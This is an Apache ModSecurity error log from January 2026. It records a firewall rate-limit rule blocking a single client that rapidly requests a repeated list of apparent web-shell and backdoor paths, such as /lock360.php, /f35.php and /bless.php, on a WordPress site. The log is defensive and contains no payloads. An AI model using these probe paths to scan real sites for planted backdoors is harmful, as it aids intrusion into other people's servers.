[Sun Jan 18 18:50:50.178648 2026] [:error] [pid 12923:tid 12951] [client 20.2.112.127:10384] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aWy7CusWURrrC-4Rx5J5fQAAABM"]
[Sun Jan 18 18:50:50.412259 2026] [:error] [pid 33494:tid 33505] [client 20.2.112.127:10395] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aWy7CrxmLR_50TtKxDIKOQAAAQc"]
[Sun Jan 18 18:50:50.645683 2026] [:error] [pid 33494:tid 33502] [client 20.2.112.127:10416] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aWy7CrxmLR_50TtKxDIKOgAAAQQ"]
[Sun Jan 18 18:50:50.879085 2026] [:error] [pid 33494:tid 33503] [client 20.2.112.127:4070] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7CrxmLR_50TtKxDIKOwAAAQU"]
[Sun Jan 18 18:50:51.116205 2026] [:error] [pid 13034:tid 13045] [client 20.2.112.127:10449] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7C8RGpUu1E8cmbmiJhgAAAMc"]
[Sun Jan 18 18:50:51.352253 2026] [:error] [pid 33494:tid 33520] [client 20.2.112.127:10390] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7C7xmLR_50TtKxDIKPQAAARY"]
[Sun Jan 18 18:50:51.585846 2026] [:error] [pid 12925:tid 13007] [client 20.2.112.127:10392] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7C_sBL-4pnmSbzihG6gAAAJM"]
[Sun Jan 18 18:50:51.818895 2026] [:error] [pid 33494:tid 33511] [client 20.2.112.127:10441] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aWy7C7xmLR_50TtKxDIKPwAAAQ0"]
[Sun Jan 18 18:50:52.052374 2026] [:error] [pid 33494:tid 33512] [client 20.2.112.127:10465] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aWy7DLxmLR_50TtKxDIKQAAAAQ4"]
[Sun Jan 18 18:50:52.289083 2026] [:error] [pid 13034:tid 13038] [client 20.2.112.127:10440] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aWy7DMRGpUu1E8cmbmiJiAAAAMI"]
[Sun Jan 18 18:50:52.522905 2026] [:error] [pid 13034:tid 13062] [client 20.2.112.127:10464] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aWy7DMRGpUu1E8cmbmiJigAAANg"]
[Sun Jan 18 18:50:52.756163 2026] [:error] [pid 33494:tid 33504] [client 20.2.112.127:10400] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWy7DLxmLR_50TtKxDIKQQAAAQY"]
[Sun Jan 18 18:50:52.990457 2026] [:error] [pid 33494:tid 33516] [client 20.2.112.127:10469] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWy7DLxmLR_50TtKxDIKQgAAARI"]
[Sun Jan 18 18:50:53.224270 2026] [:error] [pid 12923:tid 12934] [client 20.2.112.127:10460] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWy7DesWURrrC-4Rx5J5fwAAAAI"]
[Sun Jan 18 18:50:53.457479 2026] [:error] [pid 33494:tid 33507] [client 20.2.112.127:10378] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aWy7DbxmLR_50TtKxDIKQwAAAQk"]
[Sun Jan 18 18:50:53.690691 2026] [:error] [pid 12923:tid 12935] [client 20.2.112.127:10383] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7DesWURrrC-4Rx5J5gAAAAAM"]
[Sun Jan 18 18:50:53.923826 2026] [:error] [pid 12923:tid 12944] [client 20.2.112.127:10370] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7DesWURrrC-4Rx5J5gQAAAAw"]
[Sun Jan 18 18:50:54.159739 2026] [:error] [pid 12924:tid 12984] [client 20.2.112.127:10458] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7Diuv3PUo9LR6V6YkWQAAAFg"]
[Sun Jan 18 18:50:54.393458 2026] [:error] [pid 12923:tid 12954] [client 20.2.112.127:10445] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aWy7DusWURrrC-4Rx5J5ggAAABY"]
[Sun Jan 18 18:50:54.627852 2026] [:error] [pid 12924:tid 12962] [client 20.2.112.127:10394] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aWy7Diuv3PUo9LR6V6YkWgAAAEI"]
[Sun Jan 18 18:50:54.863747 2026] [:error] [pid 13034:tid 13054] [client 20.2.112.127:10372] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aWy7DsRGpUu1E8cmbmiJkAAAANA"]
[Sun Jan 18 18:50:55.125743 2026] [:error] [pid 33494:tid 33517] [client 20.2.112.127:10413] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aWy7D7xmLR_50TtKxDIKSgAAARM"]
[Sun Jan 18 18:50:55.359366 2026] [:error] [pid 13034:tid 13046] [client 20.2.112.127:10436] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aWy7D8RGpUu1E8cmbmiJkwAAAMg"]
[Sun Jan 18 18:50:55.595025 2026] [:error] [pid 12924:tid 12982] [client 20.2.112.127:10470] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aWy7Dyuv3PUo9LR6V6YkWwAAAFY"]
[Sun Jan 18 18:50:55.828490 2026] [:error] [pid 12925:tid 12988] [client 20.2.112.127:10485] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aWy7D_sBL-4pnmSbzihG7QAAAIA"]
[Sun Jan 18 18:50:56.060488 2026] [:error] [pid 37885:tid 37903] [client 20.2.112.127:10451] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aWy7EIIjOL7XA82H72Vz2gAAAU8"]
[Sun Jan 18 18:50:56.294313 2026] [:error] [pid 12924:tid 12977] [client 20.2.112.127:4066] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aWy7ECuv3PUo9LR6V6YkXQAAAFE"]
[Sun Jan 18 18:50:56.528066 2026] [:error] [pid 12925:tid 12991] [client 20.2.112.127:4064] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWy7EPsBL-4pnmSbzihG8AAAAIM"]
[Sun Jan 18 18:50:56.762278 2026] [:error] [pid 37885:tid 37892] [client 20.2.112.127:10489] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWy7EIIjOL7XA82H72Vz2wAAAUQ"]
[Sun Jan 18 18:50:56.999037 2026] [:error] [pid 13034:tid 13049] [client 20.2.112.127:4032] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWy7EMRGpUu1E8cmbmiJlQAAAMs"]
[Sun Jan 18 18:50:57.233130 2026] [:error] [pid 33494:tid 33503] [client 20.2.112.127:10432] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aWy7EbxmLR_50TtKxDIKTgAAAQU"]
[Sun Jan 18 18:50:57.467231 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:10461] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aWy7EYIjOL7XA82H72Vz3AAAAU0"]
[Sun Jan 18 18:50:57.703530 2026] [:error] [pid 37885:tid 37912] [client 20.2.112.127:4055] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aWy7EYIjOL7XA82H72Vz3QAAAVg"]
[Sun Jan 18 18:50:57.936754 2026] [:error] [pid 33494:tid 33505] [client 20.2.112.127:10481] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aWy7EbxmLR_50TtKxDIKUAAAAQc"]
[Sun Jan 18 18:50:58.176267 2026] [:error] [pid 33494:tid 33511] [client 20.2.112.127:10418] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aWy7ErxmLR_50TtKxDIKUgAAAQ0"]
[Sun Jan 18 18:50:58.410225 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:10397] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aWy7EoIjOL7XA82H72Vz3wAAAU4"]
[Sun Jan 18 18:50:58.644414 2026] [:error] [pid 33494:tid 33516] [client 20.2.112.127:10373] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aWy7ErxmLR_50TtKxDIKUwAAARI"]
[Sun Jan 18 18:50:58.878363 2026] [:error] [pid 13034:tid 13059] [client 20.2.112.127:10473] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aWy7EsRGpUu1E8cmbmiJlgAAANU"]
[Sun Jan 18 18:50:59.111731 2026] [:error] [pid 37885:tid 37895] [client 20.2.112.127:10375] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aWy7E4IjOL7XA82H72Vz4QAAAUc"]
[Sun Jan 18 18:50:59.345664 2026] [:error] [pid 12923:tid 12936] [client 20.2.112.127:10492] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWy7E-sWURrrC-4Rx5J5hAAAAAQ"]
[Sun Jan 18 18:50:59.580218 2026] [:error] [pid 13034:tid 13055] [client 20.2.112.127:10428] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWy7E8RGpUu1E8cmbmiJlwAAANE"]
[Sun Jan 18 18:50:59.814687 2026] [:error] [pid 12923:tid 12947] [client 20.2.112.127:10417] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWy7E-sWURrrC-4Rx5J5hQAAAA8"]
[Sun Jan 18 18:51:00.054031 2026] [:error] [pid 13034:tid 13062] [client 20.2.112.127:10371] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWy7FMRGpUu1E8cmbmiJmwAAANg"]
[Sun Jan 18 18:51:00.289890 2026] [:error] [pid 13034:tid 13053] [client 20.2.112.127:4065] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aWy7FMRGpUu1E8cmbmiJnAAAAM8"]
[Sun Jan 18 18:51:00.527553 2026] [:error] [pid 33494:tid 33521] [client 20.2.112.127:10439] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aWy7FLxmLR_50TtKxDIKVgAAARc"]
[Sun Jan 18 18:51:00.770000 2026] [:error] [pid 12924:tid 12960] [client 20.2.112.127:10427] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aWy7FCuv3PUo9LR6V6YkXwAAAEA"]
[Sun Jan 18 18:51:01.004010 2026] [:error] [pid 37885:tid 37907] [client 20.2.112.127:10477] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aWy7FYIjOL7XA82H72Vz4wAAAVM"]
[Sun Jan 18 18:51:01.244077 2026] [:error] [pid 12924:tid 12979] [client 20.2.112.127:10484] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aWy7FSuv3PUo9LR6V6YkYQAAAFM"]
[Sun Jan 18 18:51:01.478767 2026] [:error] [pid 12924:tid 12972] [client 20.2.112.127:10426] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aWy7FSuv3PUo9LR6V6YkYwAAAEw"]
[Sun Jan 18 18:51:01.712919 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:4063] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aWy7FfsBL-4pnmSbzihG8wAAAJE"]
[Sun Jan 18 18:51:01.946345 2026] [:error] [pid 12925:tid 12992] [client 20.2.112.127:10454] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aWy7FfsBL-4pnmSbzihG9AAAAIQ"]
[Sun Jan 18 18:51:02.180100 2026] [:error] [pid 12925:tid 13003] [client 20.2.112.127:4069] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aWy7FvsBL-4pnmSbzihG9QAAAI8"]
[Sun Jan 18 18:51:02.414815 2026] [:error] [pid 33494:tid 33517] [client 20.2.112.127:10399] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aWy7FrxmLR_50TtKxDIKWAAAARM"]
[Sun Jan 18 18:51:02.648850 2026] [:error] [pid 12923:tid 12953] [client 20.2.112.127:4077] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aWy7FusWURrrC-4Rx5J5igAAABU"]
[Sun Jan 18 18:51:02.882352 2026] [:error] [pid 12925:tid 13006] [client 20.2.112.127:4042] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aWy7FvsBL-4pnmSbzihG9wAAAJI"]
[Sun Jan 18 18:51:03.124606 2026] [:error] [pid 37885:tid 37909] [client 20.2.112.127:10410] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWy7F4IjOL7XA82H72Vz5AAAAVU"]
